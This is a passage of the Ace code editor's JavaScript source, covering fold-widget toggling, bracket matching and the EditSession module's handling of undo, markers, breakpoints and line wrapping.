range: i !== -1 && range,
firstRange: firstRange
};
};
this.onFoldWidgetClick = function(row, e) {
e = e.domEvent;
var options = {
children: e.shiftKey,
all: e.ctrlKey || e.metaKey,
siblings: e.altKey
};
var range = this.$toggleFoldWidget(row, options);
if (!range) {
var el = (e.target || e.srcElement);
if (el && /ace_fold-widget/.test(el.className))
el.className += " ace_invalid";
}
};
this.$toggleFoldWidget = function(row, options) {
if (!this.getFoldWidget)
return;
var type = this.getFoldWidget(row);
var line = this.getLine(row);
var dir = type === "end" ? -1 : 1;
var fold = this.getFoldAt(row, dir === -1 ? 0 : line.length, dir);
if (fold) {
if (options.children || options.all)
this.removeFold(fold);
else
this.expandFold(fold);
return fold;
}
var range = this.getFoldWidgetRange(row, true);
if (range && !range.isMultiLine()) {
fold = this.getFoldAt(range.start.row, range.start.column, 1);
if (fold && range.isEqual(fold.range)) {
this.removeFold(fold);
return fold;
}
}
if (options.siblings) {
var data = this.getParentFoldRangeData(row);
if (data.range) {
var startRow = data.range.start.row + 1;
var endRow = data.range.end.row;
}
this.foldAll(startRow, endRow, options.all ? 10000 : 0);
} else if (options.children) {
endRow = range ? range.end.row : this.getLength();
this.foldAll(row + 1, endRow, options.all ? 10000 : 0);
} else if (range) {
if (options.all)
range.collapseChildren = 10000;
this.addFold("...", range);
}
return range;
};
this.toggleFoldWidget = function(toggleParent) {
var row = this.selection.getCursor().row;
row = this.getRowFoldStart(row);
var range = this.$toggleFoldWidget(row, {});
if (range)
return;
var data = this.getParentFoldRangeData(row, true);
range = data.range || data.firstRange;
if (range) {
row = range.start.row;
var fold = this.getFoldAt(row, this.getLine(row).length, 1);
if (fold) {
this.removeFold(fold);
} else {
this.addFold("...", range);
}
}
};
this.updateFoldWidgets = function(delta) {
var firstRow = delta.start.row;
var len = delta.end.row - firstRow;
if (len === 0) {
this.foldWidgets[firstRow] = null;
} else if (delta.action == 'remove') {
this.foldWidgets.splice(firstRow, len + 1, null);
} else {
var args = Array(len + 1);
args.unshift(firstRow, 1);
this.foldWidgets.splice.apply(this.foldWidgets, args);
}
};
this.tokenizerUpdateFoldWidgets = function(e) {
var rows = e.data;
if (rows.first != rows.last) {
if (this.foldWidgets.length > rows.first)
this.foldWidgets.splice(rows.first, this.foldWidgets.length);
}
};
}
exports.Folding = Folding;
});
ace.define("ace/edit_session/bracket_match",["require","exports","module","ace/token_iterator","ace/range"], function(require, exports, module) {
"use strict";
var TokenIterator = require("../token_iterator").TokenIterator;
var Range = require("../range").Range;
function BracketMatch() {
this.findMatchingBracket = function(position, chr) {
if (position.column == 0) return null;
var charBeforeCursor = chr || this.getLine(position.row).charAt(position.column-1);
if (charBeforeCursor == "") return null;
var match = charBeforeCursor.match(/([\(\[\{])|([\)\]\}])/);
if (!match)
return null;
if (match[1])
return this.$findClosingBracket(match[1], position);
else
return this.$findOpeningBracket(match[2], position);
};
this.getBracketRange = function(pos) {
var line = this.getLine(pos.row);
var before = true, range;
var chr = line.charAt(pos.column-1);
var match = chr && chr.match(/([\(\[\{])|([\)\]\}])/);
if (!match) {
chr = line.charAt(pos.column);
pos = {row: pos.row, column: pos.column + 1};
match = chr && chr.match(/([\(\[\{])|([\)\]\}])/);
before = false;
}
if (!match)
return null;
if (match[1]) {
var bracketPos = this.$findClosingBracket(match[1], pos);
if (!bracketPos)
return null;
range = Range.fromPoints(pos, bracketPos);
if (!before) {
range.end.column++;
range.start.column--;
}
range.cursor = range.end;
} else {
var bracketPos = this.$findOpeningBracket(match[2], pos);
if (!bracketPos)
return null;
range = Range.fromPoints(bracketPos, pos);
if (!before) {
range.start.column++;
range.end.column--;
}
range.cursor = range.start;
}
return range;
};
this.$brackets = {
")": "(",
"(": ")",
"]": "[",
"[": "]",
"{": "}",
"}": "{"
};
this.$findOpeningBracket = function(bracket, position, typeRe) {
var openBracket = this.$brackets[bracket];
var depth = 1;
var iterator = new TokenIterator(this, position.row, position.column);
var token = iterator.getCurrentToken();
if (!token)
token = iterator.stepForward();
if (!token)
return;
if (!typeRe){
typeRe = new RegExp(
"(\\.?" +
token.type.replace(".", "\\.").replace("rparen", ".paren")
.replace(/\b(?:end)\b/, "(?:start|begin|end)")
+ ")+"
);
}
var valueIndex = position.column - iterator.getCurrentTokenColumn() - 2;
var value = token.value;
while (true) {
while (valueIndex >= 0) {
var chr = value.charAt(valueIndex);
if (chr == openBracket) {
depth -= 1;
if (depth == 0) {
return {row: iterator.getCurrentTokenRow(),
column: valueIndex + iterator.getCurrentTokenColumn()};
}
}
else if (chr == bracket) {
depth += 1;
}
valueIndex -= 1;
}
do {
token = iterator.stepBackward();
} while (token && !typeRe.test(token.type));
if (token == null)
break;
value = token.value;
valueIndex = value.length - 1;
}
return null;
};
this.$findClosingBracket = function(bracket, position, typeRe) {
var closingBracket = this.$brackets[bracket];
var depth = 1;
var iterator = new TokenIterator(this, position.row, position.column);
var token = iterator.getCurrentToken();
if (!token)
token = iterator.stepForward();
if (!token)
return;
if (!typeRe){
typeRe = new RegExp(
"(\\.?" +
token.type.replace(".", "\\.").replace("lparen", ".paren")
.replace(/\b(?:start|begin)\b/, "(?:start|begin|end)")
+ ")+"
);
}
var valueIndex = position.column - iterator.getCurrentTokenColumn();
while (true) {
var value = token.value;
var valueLength = value.length;
while (valueIndex < valueLength) {
var chr = value.charAt(valueIndex);
if (chr == closingBracket) {
depth -= 1;
if (depth == 0) {
return {row: iterator.getCurrentTokenRow(),
column: valueIndex + iterator.getCurrentTokenColumn()};
}
}
else if (chr == bracket) {
depth += 1;
}
valueIndex += 1;
}
do {
token = iterator.stepForward();
} while (token && !typeRe.test(token.type));
if (token == null)
break;
valueIndex = 0;
}
return null;
};
}
exports.BracketMatch = BracketMatch;
});
ace.define("ace/edit_session",["require","exports","module","ace/lib/oop","ace/lib/lang","ace/bidihandler","ace/config","ace/lib/event_emitter","ace/selection","ace/mode/text","ace/range","ace/document","ace/background_tokenizer","ace/search_highlight","ace/edit_session/folding","ace/edit_session/bracket_match"], function(require, exports, module) {
"use strict";
var oop = require("./lib/oop");
var lang = require("./lib/lang");
var BidiHandler = require("./bidihandler").BidiHandler;
var config = require("./config");
var EventEmitter = require("./lib/event_emitter").EventEmitter;
var Selection = require("./selection").Selection;
var TextMode = require("./mode/text").Mode;
var Range = require("./range").Range;
var Document = require("./document").Document;
var BackgroundTokenizer = require("./background_tokenizer").BackgroundTokenizer;
var SearchHighlight = require("./search_highlight").SearchHighlight;
var EditSession = function(text, mode) {
this.$breakpoints = [];
this.$decorations = [];
this.$frontMarkers = {};
this.$backMarkers = {};
this.$markerId = 1;
this.$undoSelect = true;
this.$foldData = [];
this.id = "session" + (++EditSession.$uid);
this.$foldData.toString = function() {
return this.join("\n");
};
this.on("changeFold", this.onChangeFold.bind(this));
this.$onChange = this.onChange.bind(this);
if (typeof text != "object" || !text.getLine)
text = new Document(text);
this.$bidiHandler = new BidiHandler(this);
this.setDocument(text);
this.selection = new Selection(this);
config.resetOptions(this);
this.setMode(mode);
config._signal("session", this);
};
EditSession.$uid = 0;
(function() {
oop.implement(this, EventEmitter);
this.setDocument = function(doc) {
if (this.doc)
this.doc.removeListener("change", this.$onChange);
this.doc = doc;
doc.on("change", this.$onChange);
if (this.bgTokenizer)
this.bgTokenizer.setDocument(this.getDocument());
this.resetCaches();
};
this.getDocument = function() {
return this.doc;
};
this.$resetRowCache = function(docRow) {
if (!docRow) {
this.$docRowCache = [];
this.$screenRowCache = [];
return;
}
var l = this.$docRowCache.length;
var i = this.$getRowCacheIndex(this.$docRowCache, docRow) + 1;
if (l > i) {
this.$docRowCache.splice(i, l);
this.$screenRowCache.splice(i, l);
}
};
this.$getRowCacheIndex = function(cacheArray, val) {
var low = 0;
var hi = cacheArray.length - 1;
while (low <= hi) {
var mid = (low + hi) >> 1;
var c = cacheArray[mid];
if (val > c)
low = mid + 1;
else if (val < c)
hi = mid - 1;
else
return mid;
}
return low -1;
};
this.resetCaches = function() {
this.$modified = true;
this.$wrapData = [];
this.$rowLengthCache = [];
this.$resetRowCache(0);
if (this.bgTokenizer)
this.bgTokenizer.start(0);
};
this.onChangeFold = function(e) {
var fold = e.data;
this.$resetRowCache(fold.start.row);
};
this.onChange = function(delta) {
this.$modified = true;
this.$bidiHandler.onChange(delta);
this.$resetRowCache(delta.start.row);
var removedFolds = this.$updateInternalDataOnChange(delta);
if (!this.$fromUndo && this.$undoManager && !delta.ignore) {
this.$deltasDoc.push(delta);
if (removedFolds && removedFolds.length != 0) {
this.$deltasFold.push({
action: "removeFolds",
folds: removedFolds
});
}
this.$informUndoManager.schedule();
}
this.bgTokenizer && this.bgTokenizer.$updateOnChange(delta);
this._signal("change", delta);
};
this.setValue = function(text) {
this.doc.setValue(text);
this.selection.moveTo(0, 0);
this.$resetRowCache(0);
this.$deltas = [];
this.$deltasDoc = [];
this.$deltasFold = [];
this.setUndoManager(this.$undoManager);
this.getUndoManager().reset();
};
this.getValue =
this.toString = function() {
return this.doc.getValue();
};
this.getSelection = function() {
return this.selection;
};
this.getState = function(row) {
return this.bgTokenizer.getState(row);
};
this.getTokens = function(row) {
return this.bgTokenizer.getTokens(row);
};
this.getTokenAt = function(row, column) {
var tokens = this.bgTokenizer.getTokens(row);
var token, c = 0;
if (column == null) {
var i = tokens.length - 1;
c = this.getLine(row).length;
} else {
for (var i = 0; i < tokens.length; i++) {
c += tokens[i].value.length;
if (c >= column)
break;
}
}
token = tokens[i];
if (!token)
return null;
token.index = i;
token.start = c - token.value.length;
return token;
};
this.setUndoManager = function(undoManager) {
this.$undoManager = undoManager;
this.$deltas = [];
this.$deltasDoc = [];
this.$deltasFold = [];
if (this.$informUndoManager)
this.$informUndoManager.cancel();
if (undoManager) {
var self = this;
this.$syncInformUndoManager = function() {
self.$informUndoManager.cancel();
if (self.$deltasFold.length) {
self.$deltas.push({
group: "fold",
deltas: self.$deltasFold
});
self.$deltasFold = [];
}
if (self.$deltasDoc.length) {
self.$deltas.push({
group: "doc",
deltas: self.$deltasDoc
});
self.$deltasDoc = [];
}
if (self.$deltas.length > 0) {
undoManager.execute({
action: "aceupdate",
args: [self.$deltas, self],
merge: self.mergeUndoDeltas
});
}
self.mergeUndoDeltas = false;
self.$deltas = [];
};
this.$informUndoManager = lang.delayedCall(this.$syncInformUndoManager);
}
};
this.markUndoGroup = function() {
if (this.$syncInformUndoManager)
this.$syncInformUndoManager();
};
this.$defaultUndoManager = {
undo: function() {},
redo: function() {},
reset: function() {}
};
this.getUndoManager = function() {
return this.$undoManager || this.$defaultUndoManager;
};
this.getTabString = function() {
if (this.getUseSoftTabs()) {
return lang.stringRepeat(" ", this.getTabSize());
} else {
return "\t";
}
};
this.setUseSoftTabs = function(val) {
this.setOption("useSoftTabs", val);
};
this.getUseSoftTabs = function() {
return this.$useSoftTabs && !this.$mode.$indentWithTabs;
};
this.setTabSize = function(tabSize) {
this.setOption("tabSize", tabSize);
};
this.getTabSize = function() {
return this.$tabSize;
};
this.isTabStop = function(position) {
return this.$useSoftTabs && (position.column % this.$tabSize === 0);
};
this.setNavigateWithinSoftTabs = function (navigateWithinSoftTabs) {
this.setOption("navigateWithinSoftTabs", navigateWithinSoftTabs);
};
this.getNavigateWithinSoftTabs = function() {
return this.$navigateWithinSoftTabs;
};
this.$overwrite = false;
this.setOverwrite = function(overwrite) {
this.setOption("overwrite", overwrite);
};
this.getOverwrite = function() {
return this.$overwrite;
};
this.toggleOverwrite = function() {
this.setOverwrite(!this.$overwrite);
};
this.addGutterDecoration = function(row, className) {
if (!this.$decorations[row])
this.$decorations[row] = "";
this.$decorations[row] += " " + className;
this._signal("changeBreakpoint", {});
};
this.removeGutterDecoration = function(row, className) {
this.$decorations[row] = (this.$decorations[row] || "").replace(" " + className, "");
this._signal("changeBreakpoint", {});
};
this.getBreakpoints = function() {
return this.$breakpoints;
};
this.setBreakpoints = function(rows) {
this.$breakpoints = [];
for (var i=0; i<rows.length; i++) {
this.$breakpoints[rows[i]] = "ace_breakpoint";
}
this._signal("changeBreakpoint", {});
};
this.clearBreakpoints = function() {
this.$breakpoints = [];
this._signal("changeBreakpoint", {});
};
this.setBreakpoint = function(row, className) {
if (className === undefined)
className = "ace_breakpoint";
if (className)
this.$breakpoints[row] = className;
else
delete this.$breakpoints[row];
this._signal("changeBreakpoint", {});
};
this.clearBreakpoint = function(row) {
delete this.$breakpoints[row];
this._signal("changeBreakpoint", {});
};
this.addMarker = function(range, clazz, type, inFront) {
var id = this.$markerId++;
var marker = {
range : range,
type : type || "line",
renderer: typeof type == "function" ? type : null,
clazz : clazz,
inFront: !!inFront,
id: id
};
if (inFront) {
this.$frontMarkers[id] = marker;
this._signal("changeFrontMarker");
} else {
this.$backMarkers[id] = marker;
this._signal("changeBackMarker");
}
return id;
};
this.addDynamicMarker = function(marker, inFront) {
if (!marker.update)
return;
var id = this.$markerId++;
marker.id = id;
marker.inFront = !!inFront;
if (inFront) {
this.$frontMarkers[id] = marker;
this._signal("changeFrontMarker");
} else {
this.$backMarkers[id] = marker;
this._signal("changeBackMarker");
}
return marker;
};
this.removeMarker = function(markerId) {
var marker = this.$frontMarkers[markerId] || this.$backMarkers[markerId];
if (!marker)
return;
var markers = marker.inFront ? this.$frontMarkers : this.$backMarkers;
if (marker) {
delete (markers[markerId]);
this._signal(marker.inFront ? "changeFrontMarker" : "changeBackMarker");
}
};
this.getMarkers = function(inFront) {
return inFront ? this.$frontMarkers : this.$backMarkers;
};
this.highlight = function(re) {
if (!this.$searchHighlight) {
var highlight = new SearchHighlight(null, "ace_selected-word", "text");
this.$searchHighlight = this.addDynamicMarker(highlight);
}
this.$searchHighlight.setRegexp(re);
};
this.highlightLines = function(startRow, endRow, clazz, inFront) {
if (typeof endRow != "number") {
clazz = endRow;
endRow = startRow;
}
if (!clazz)
clazz = "ace_step";
var range = new Range(startRow, 0, endRow, Infinity);
range.id = this.addMarker(range, clazz, "fullLine", inFront);
return range;
};
this.setAnnotations = function(annotations) {
this.$annotations = annotations;
this._signal("changeAnnotation", {});
};
this.getAnnotations = function() {
return this.$annotations || [];
};
this.clearAnnotations = function() {
this.setAnnotations([]);
};
this.$detectNewLine = function(text) {
var match = text.match(/^.*?(\r?\n)/m);
if (match) {
this.$autoNewLine = match[1];
} else {
this.$autoNewLine = "\n";
}
};
this.getWordRange = function(row, column) {
var line = this.getLine(row);
var inToken = false;
if (column > 0)
inToken = !!line.charAt(column - 1).match(this.tokenRe);
if (!inToken)
inToken = !!line.charAt(column).match(this.tokenRe);
if (inToken)
var re = this.tokenRe;
else if (/^\s+$/.test(line.slice(column-1, column+1)))
var re = /\s/;
else
var re = this.nonTokenRe;
var start = column;
if (start > 0) {
do {
start--;
}
while (start >= 0 && line.charAt(start).match(re));
start++;
}
var end = column;
while (end < line.length && line.charAt(end).match(re)) {
end++;
}
return new Range(row, start, row, end);
};
this.getAWordRange = function(row, column) {
var wordRange = this.getWordRange(row, column);
var line = this.getLine(wordRange.end.row);
while (line.charAt(wordRange.end.column).match(/[ \t]/)) {
wordRange.end.column += 1;
}
return wordRange;
};
this.setNewLineMode = function(newLineMode) {
this.doc.setNewLineMode(newLineMode);
};
this.getNewLineMode = function() {
return this.doc.getNewLineMode();
};
this.setUseWorker = function(useWorker) { this.setOption("useWorker", useWorker); };
this.getUseWorker = function() { return this.$useWorker; };
this.onReloadTokenizer = function(e) {
var rows = e.data;
this.bgTokenizer.start(rows.first);
this._signal("tokenizerUpdate", e);
};
this.$modes = {};
this.$mode = null;
this.$modeId = null;
this.setMode = function(mode, cb) {
if (mode && typeof mode === "object") {
if (mode.getTokenizer)
return this.$onChangeMode(mode);
var options = mode;
var path = options.path;
} else {
path = mode || "ace/mode/text";
}
if (!this.$modes["ace/mode/text"])
this.$modes["ace/mode/text"] = new TextMode();
if (this.$modes[path] && !options) {
this.$onChangeMode(this.$modes[path]);
cb && cb();
return;
}
this.$modeId = path;
config.loadModule(["mode", path], function(m) {
if (this.$modeId !== path)
return cb && cb();
if (this.$modes[path] && !options) {
this.$onChangeMode(this.$modes[path]);
} else if (m && m.Mode) {
m = new m.Mode(options);
if (!options) {
this.$modes[path] = m;
m.$id = path;
}
this.$onChangeMode(m);
}
cb && cb();
}.bind(this));
if (!this.$mode)
this.$onChangeMode(this.$modes["ace/mode/text"], true);
};
this.$onChangeMode = function(mode, $isPlaceholder) {
if (!$isPlaceholder)
this.$modeId = mode.$id;
if (this.$mode === mode)
return;
this.$mode = mode;
this.$stopWorker();
if (this.$useWorker)
this.$startWorker();
var tokenizer = mode.getTokenizer();
if(tokenizer.addEventListener !== undefined) {
var onReloadTokenizer = this.onReloadTokenizer.bind(this);
tokenizer.addEventListener("update", onReloadTokenizer);
}
if (!this.bgTokenizer) {
this.bgTokenizer = new BackgroundTokenizer(tokenizer);
var _self = this;
this.bgTokenizer.addEventListener("update", function(e) {
_self._signal("tokenizerUpdate", e);
});
} else {
this.bgTokenizer.setTokenizer(tokenizer);
}
this.bgTokenizer.setDocument(this.getDocument());
this.tokenRe = mode.tokenRe;
this.nonTokenRe = mode.nonTokenRe;
if (!$isPlaceholder) {
if (mode.attachToSession)
mode.attachToSession(this);
this.$options.wrapMethod.set.call(this, this.$wrapMethod);
this.$setFolding(mode.foldingRules);
this.bgTokenizer.start(0);
this._emit("changeMode");
}
};
this.$stopWorker = function() {
if (this.$worker) {
this.$worker.terminate();
this.$worker = null;
}
};
this.$startWorker = function() {
try {
this.$worker = this.$mode.createWorker(this);
} catch (e) {
config.warn("Could not load worker", e);
this.$worker = null;
}
};
this.getMode = function() {
return this.$mode;
};
this.$scrollTop = 0;
this.setScrollTop = function(scrollTop) {
if (this.$scrollTop === scrollTop || isNaN(scrollTop))
return;
this.$scrollTop = scrollTop;
this._signal("changeScrollTop", scrollTop);
};
this.getScrollTop = function() {
return this.$scrollTop;
};
this.$scrollLeft = 0;
this.setScrollLeft = function(scrollLeft) {
if (this.$scrollLeft === scrollLeft || isNaN(scrollLeft))
return;
this.$scrollLeft = scrollLeft;
this._signal("changeScrollLeft", scrollLeft);
};
this.getScrollLeft = function() {
return this.$scrollLeft;
};
this.getScreenWidth = function() {
this.$computeWidth();
if (this.lineWidgets)
return Math.max(this.getLineWidgetMaxWidth(), this.screenWidth);
return this.screenWidth;
};
this.getLineWidgetMaxWidth = function() {
if (this.lineWidgetsWidth != null) return this.lineWidgetsWidth;
var width = 0;
this.lineWidgets.forEach(function(w) {
if (w && w.screenWidth > width)
width = w.screenWidth;
});
return this.lineWidgetWidth = width;
};
this.$computeWidth = function(force) {
if (this.$modified || force) {
this.$modified = false;
if (this.$useWrapMode)
return this.screenWidth = this.$wrapLimit;
var lines = this.doc.getAllLines();
var cache = this.$rowLengthCache;
var longestScreenLine = 0;
var foldIndex = 0;
var foldLine = this.$foldData[foldIndex];
var foldStart = foldLine ? foldLine.start.row : Infinity;
var len = lines.length;
for (var i = 0; i < len; i++) {
if (i > foldStart) {
i = foldLine.end.row + 1;
if (i >= len)
break;
foldLine = this.$foldData[foldIndex++];
foldStart = foldLine ? foldLine.start.row : Infinity;
}
if (cache[i] == null)
cache[i] = this.$getStringScreenWidth(lines[i])[0];
if (cache[i] > longestScreenLine)
longestScreenLine = cache[i];
}
this.screenWidth = longestScreenLine;
}
};
this.getLine = function(row) {
return this.doc.getLine(row);
};
this.getLines = function(firstRow, lastRow) {
return this.doc.getLines(firstRow, lastRow);
};
this.getLength = function() {
return this.doc.getLength();
};
this.getTextRange = function(range) {
return this.doc.getTextRange(range || this.selection.getRange());
};
this.insert = function(position, text) {
return this.doc.insert(position, text);
};
this.remove = function(range) {
return this.doc.remove(range);
};
this.removeFullLines = function(firstRow, lastRow){
return this.doc.removeFullLines(firstRow, lastRow);
};
this.undoChanges = function(deltas, dontSelect) {
if (!deltas.length)
return;
this.$fromUndo = true;
var lastUndoRange = null;
for (var i = deltas.length - 1; i != -1; i--) {
var delta = deltas[i];
if (delta.group == "doc") {
this.doc.revertDeltas(delta.deltas);
lastUndoRange =
this.$getUndoSelection(delta.deltas, true, lastUndoRange);
} else {
delta.deltas.forEach(function(foldDelta) {
this.addFolds(foldDelta.folds);
}, this);
}
}
this.$fromUndo = false;
lastUndoRange &&
this.$undoSelect &&
!dontSelect &&
this.selection.setSelectionRange(lastUndoRange);
return lastUndoRange;
};
this.redoChanges = function(deltas, dontSelect) {
if (!deltas.length)
return;
this.$fromUndo = true;
var lastUndoRange = null;
for (var i = 0; i < deltas.length; i++) {
var delta = deltas[i];
if (delta.group == "doc") {
this.doc.applyDeltas(delta.deltas);
lastUndoRange =
this.$getUndoSelection(delta.deltas, false, lastUndoRange);
}
}
this.$fromUndo = false;
lastUndoRange &&
this.$undoSelect &&
!dontSelect &&
this.selection.setSelectionRange(lastUndoRange);
return lastUndoRange;
};
this.setUndoSelect = function(enable) {
this.$undoSelect = enable;
};
this.$getUndoSelection = function(deltas, isUndo, lastUndoRange) {
function isInsert(delta) {
return isUndo ? delta.action !== "insert" : delta.action === "insert";
}
var delta = deltas[0];
var range, point;
var lastDeltaIsInsert = false;
if (isInsert(delta)) {
range = Range.fromPoints(delta.start, delta.end);
lastDeltaIsInsert = true;
} else {
range = Range.fromPoints(delta.start, delta.start);
lastDeltaIsInsert = false;
}
for (var i = 1; i < deltas.length; i++) {
delta = deltas[i];
if (isInsert(delta)) {
point = delta.start;
if (range.compare(point.row, point.column) == -1) {
range.setStart(point);
}
point = delta.end;
if (range.compare(point.row, point.column) == 1) {
range.setEnd(point);
}
lastDeltaIsInsert = true;
} else {
point = delta.start;
if (range.compare(point.row, point.column) == -1) {
range = Range.fromPoints(delta.start, delta.start);
}
lastDeltaIsInsert = false;
}
}
if (lastUndoRange != null) {
if (Range.comparePoints(lastUndoRange.start, range.start) === 0) {
lastUndoRange.start.column += range.end.column - range.start.column;
lastUndoRange.end.column += range.end.column - range.start.column;
}
var cmp = lastUndoRange.compareRange(range);
if (cmp == 1) {
range.setStart(lastUndoRange.start);
} else if (cmp == -1) {
range.setEnd(lastUndoRange.end);
}
}
return range;
};
this.replace = function(range, text) {
return this.doc.replace(range, text);
};
this.moveText = function(fromRange, toPosition, copy) {
var text = this.getTextRange(fromRange);
var folds = this.getFoldsInRange(fromRange);
var toRange = Range.fromPoints(toPosition, toPosition);
if (!copy) {
this.remove(fromRange);
var rowDiff = fromRange.start.row - fromRange.end.row;
var collDiff = rowDiff ? -fromRange.end.column : fromRange.start.column - fromRange.end.column;
if (collDiff) {
if (toRange.start.row == fromRange.end.row && toRange.start.column > fromRange.end.column)
toRange.start.column += collDiff;
if (toRange.end.row == fromRange.end.row && toRange.end.column > fromRange.end.column)
toRange.end.column += collDiff;
}
if (rowDiff && toRange.start.row >= fromRange.end.row) {
toRange.start.row += rowDiff;
toRange.end.row += rowDiff;
}
}
toRange.end = this.insert(toRange.start, text);
if (folds.length) {
var oldStart = fromRange.start;
var newStart = toRange.start;
var rowDiff = newStart.row - oldStart.row;
var collDiff = newStart.column - oldStart.column;
this.addFolds(folds.map(function(x) {
x = x.clone();
if (x.start.row == oldStart.row)
x.start.column += collDiff;
if (x.end.row == oldStart.row)
x.end.column += collDiff;
x.start.row += rowDiff;
x.end.row += rowDiff;
return x;
}));
}
return toRange;
};
this.indentRows = function(startRow, endRow, indentString) {
indentString = indentString.replace(/\t/g, this.getTabString());
for (var row=startRow; row<=endRow; row++)
this.doc.insertInLine({row: row, column: 0}, indentString);
};
this.outdentRows = function (range) {
var rowRange = range.collapseRows();
var deleteRange = new Range(0, 0, 0, 0);
var size = this.getTabSize();
for (var i = rowRange.start.row; i <= rowRange.end.row; ++i) {
var line = this.getLine(i);
deleteRange.start.row = i;
deleteRange.end.row = i;
for (var j = 0; j < size; ++j)
if (line.charAt(j) != ' ')
break;
if (j < size && line.charAt(j) == '\t') {
deleteRange.start.column = j;
deleteRange.end.column = j + 1;
} else {
deleteRange.start.column = 0;
deleteRange.end.column = j;
}
this.remove(deleteRange);
}
};
this.$moveLines = function(firstRow, lastRow, dir) {
firstRow = this.getRowFoldStart(firstRow);
lastRow = this.getRowFoldEnd(lastRow);
if (dir < 0) {
var row = this.getRowFoldStart(firstRow + dir);
if (row < 0) return 0;
var diff = row-firstRow;
} else if (dir > 0) {
var row = this.getRowFoldEnd(lastRow + dir);
if (row > this.doc.getLength()-1) return 0;
var diff = row-lastRow;
} else {
firstRow = this.$clipRowToDocument(firstRow);
lastRow = this.$clipRowToDocument(lastRow);
var diff = lastRow - firstRow + 1;
}
var range = new Range(firstRow, 0, lastRow, Number.MAX_VALUE);
var folds = this.getFoldsInRange(range).map(function(x){
x = x.clone();
x.start.row += diff;
x.end.row += diff;
return x;
});
var lines = dir == 0
? this.doc.getLines(firstRow, lastRow)
: this.doc.removeFullLines(firstRow, lastRow);
this.doc.insertFullLines(firstRow+diff, lines);
folds.length && this.addFolds(folds);
return diff;
};
this.moveLinesUp = function(firstRow, lastRow) {
return this.$moveLines(firstRow, lastRow, -1);
};
this.moveLinesDown = function(firstRow, lastRow) {
return this.$moveLines(firstRow, lastRow, 1);
};
this.duplicateLines = function(firstRow, lastRow) {
return this.$moveLines(firstRow, lastRow, 0);
};
this.$clipRowToDocument = function(row) {
return Math.max(0, Math.min(row, this.doc.getLength()-1));
};
this.$clipColumnToRow = function(row, column) {
if (column < 0)
return 0;
return Math.min(this.doc.getLine(row).length, column);
};
this.$clipPositionToDocument = function(row, column) {
column = Math.max(0, column);
if (row < 0) {
row = 0;
column = 0;
} else {
var len = this.doc.getLength();
if (row >= len) {
row = len - 1;
column = this.doc.getLine(len-1).length;
} else {
column = Math.min(this.doc.getLine(row).length, column);
}
}
return {
row: row,
column: column
};
};
this.$clipRangeToDocument = function(range) {
if (range.start.row < 0) {
range.start.row = 0;
range.start.column = 0;
} else {
range.start.column = this.$clipColumnToRow(
range.start.row,
range.start.column
);
}
var len = this.doc.getLength() - 1;
if (range.end.row > len) {
range.end.row = len;
range.end.column = this.doc.getLine(len).length;
} else {
range.end.column = this.$clipColumnToRow(
range.end.row,
range.end.column
);
}
return range;
};
this.$wrapLimit = 80;
this.$useWrapMode = false;
this.$wrapLimitRange = {
min : null,
max : null
};
this.setUseWrapMode = function(useWrapMode) {
if (useWrapMode != this.$useWrapMode) {
this.$useWrapMode = useWrapMode;
this.$modified = true;
this.$resetRowCache(0);
if (useWrapMode) {
var len = this.getLength();
this.$wrapData = Array(len);
this.$updateWrapData(0, len - 1);
}
this._signal("changeWrapMode");
}
};
this.getUseWrapMode = function() {
return this.$useWrapMode;
};
this.setWrapLimitRange = function(min, max) {
if (this.$wrapLimitRange.min !== min || this.$wrapLimitRange.max !== max) {
this.$wrapLimitRange = { min: min, max: max };
this.$modified = true;
this.$bidiHandler.markAsDirty();
if (this.$useWrapMode)
this._signal("changeWrapMode");
}
};
this.adjustWrapLimit = function(desiredLimit, $printMargin) {
var limits = this.$wrapLimitRange;
if (limits.max < 0)
limits = {min: $printMargin, max: $printMargin};
var wrapLimit = this.$constrainWrapLimit(desiredLimit, limits.min, limits.max);
if (wrapLimit != this.$wrapLimit && wrapLimit > 1) {
this.$wrapLimit = wrapLimit;
this.$modified = true;
if (this.$useWrapMode) {
this.$updateWrapData(0, this.getLength() - 1);
this.$resetRowCache(0);
this._signal("changeWrapLimit");
}
return true;
}
return false;
};
this.$constrainWrapLimit = function(wrapLimit, min, max) {
if (min)
wrapLimit = Math.max(min, wrapLimit);
if (max)
wrapLimit = Math.min(max, wrapLimit);
return wrapLimit;
};
this.getWrapLimit = function() {
return this.$wrapLimit;
};
this.setWrapLimit = function (limit) {
this.setWrapLimitRange(limit, limit);
};
this.getWrapLimitRange = function() {
return {
min : this.$wrapLimitRange.min,
max : this.$wrapLimitRange.max
};
};
this.$updateInternalDataOnChange = function(delta) {
var useWrapMode = this.$useWrapMode;
var action = delta.action;
var start = delta.start;
var end = delta.end;
var firstRow = start.row;
var lastRow = end.row;
var len = lastRow - firstRow;
var removedFolds = null;
this.$updating = true;
if (len != 0) {
if (action === "remove") {
this[useWrapMode ? "$wrapData" : "$rowLengthCache"].splice(firstRow, len);
var foldLines = this.$foldData;
removedFolds = this.getFoldsInRange(delta);
this.removeFolds(removedFolds);
var foldLine = this.getFoldLine(end.row);
var idx = 0;
if (foldLine) {
foldLine.addRemoveChars(end.row, end.column, start.column - end.column);
foldLine.shiftRow(-len);
var foldLineBefore = this.getFoldLine(firstRow);
if (foldLineBefore && foldLineBefore !== foldLine) {
foldLineBefore.merge(foldLine);
foldLine = foldLineBefore;
}
idx = foldLines.indexOf(foldLine) + 1;
}
for (idx; idx < foldLines.length; idx++) {
var foldLine = foldLines[idx];
if (foldLine.start.row >= end.row) {
foldLine.shiftRow(-len);
}
}
lastRow = firstRow;
} else {
var args = Array(len);
args.unshift(firstRow, 0);
var arr = useWrapMode ? this.$wrapData : this.$rowLengthCache;
arr.splice.apply(arr, args);
var foldLines = this.$foldData;
var foldLine = this.getFoldLine(firstRow);
var idx = 0;
if (foldLine) {
var cmp = foldLine.range.compareInside(start.row, start.column);
if (cmp == 0) {
foldLine = foldLine.split(start.row, start.column);
if (foldLine) {
foldLine.shiftRow(len);
foldLine.addRemoveChars(lastRow, 0, end.column - start.column);
}
} else
if (cmp == -1) {
foldLine.addRemoveChars(firstRow, 0, end.column - start.column);
foldLine.shiftRow(len);
}
idx = foldLines.indexOf(foldLine) + 1;
}
for (idx; idx < foldLines.length; idx++) {
var foldLine = foldLines[idx];
if (foldLine.start.row >= firstRow) {
foldLine.shiftRow(len);
}
}
}
} else {
len = Math.abs(delta.start.column - delta.end.column);
if (action === "remove") {
removedFolds = this.getFoldsInRange(delta);
this.removeFolds(removedFolds);
len = -len;
}
var foldLine = this.getFoldLine(firstRow);
if (foldLine) {
